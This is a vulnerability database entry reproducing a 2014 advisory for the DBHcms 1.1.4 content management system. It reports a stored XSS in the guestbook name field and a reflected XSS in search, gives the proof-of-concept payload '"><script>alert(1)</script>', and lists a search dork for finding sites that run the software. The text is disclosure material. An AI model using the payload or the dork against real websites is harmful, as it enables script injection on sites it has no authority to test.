Search...

dbhcms 1.1.4 - Stored XSS

2014-07-01T00:00:00

ID SSV:68524
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                ############################################################################
#Title: DBHcms 1.1.4 Stored XSS #
#Vendor: http://www.drbenhur.com #
#Dork: &#34;powered by DBHcms&#34; #
############################################################################
#AUTHOR: ITSecTeam #
#Email: Bug@ITSecTeam.com #
#Website: http://www.itsecteam.com #
#Forum : http://forum.ITSecTeam.com #
#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability50.htm
#Thanks: r3dm0v3 [r3dm0v3_at_ymail.com], Pejvak, am!rkh@n #
############################################################################

#DESCRIPTION (by vendor):###################################################
The DBHcms is a small free Open Source content management system for
personal and small business websites.`

#Stored XSS
POC:########################################################################
goto guestbook and post any script as name!


#Non-persistent XSS
POC:###################################################################
goto search and query this string: &#34;&#62;&#60;script&#62;alert(1)&#60;/script&#62;

JSON Vulners Source

Initial Source

{"lastseen": "2017-11-19T16:10:17", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "status": "poc", "enchantments": {"score": {"value": -0.6, "vector": "NONE", "modified": "2017-11-19T16:10:17", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T16:10:17", "rev": 2}, "vulnersScore": -0.6}, "href": "https://www.seebug.org/vuldb/ssvid-68524", "references": [], "enchantments_done": [], "id": "SSV:68524", "title": "dbhcms 1.1.4 - Stored XSS", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 1, "sourceData": "\n ############################################################################\r\n#Title: DBHcms 1.1.4 Stored XSS #\r\n#Vendor: http://www.drbenhur.com #\r\n#Dork: "powered by DBHcms" #\r\n############################################################################\r\n#AUTHOR: ITSecTeam #\r\n#Email: Bug@ITSecTeam.com #\r\n#Website: http://www.itsecteam.com #\r\n#Forum : http://forum.ITSecTeam.com #\r\n#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability50.htm\r\n#Thanks: r3dm0v3 [r3dm0v3_at_ymail.com], Pejvak, am!rkh@n #\r\n############################################################################\r\n\r\n#DESCRIPTION (by vendor):###################################################\r\nThe DBHcms is a small free Open Source content management system for\r\npersonal and small business websites.`\r\n\r\n#Stored XSS\r\nPOC:########################################################################\r\ngoto guestbook and post any script as name!\r\n\r\n\r\n#Non-persistent XSS\r\nPOC:###################################################################\r\ngoto search and query this string: "><script>alert(1)</script>\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-68524", "type": "seebug", "immutableFields": []}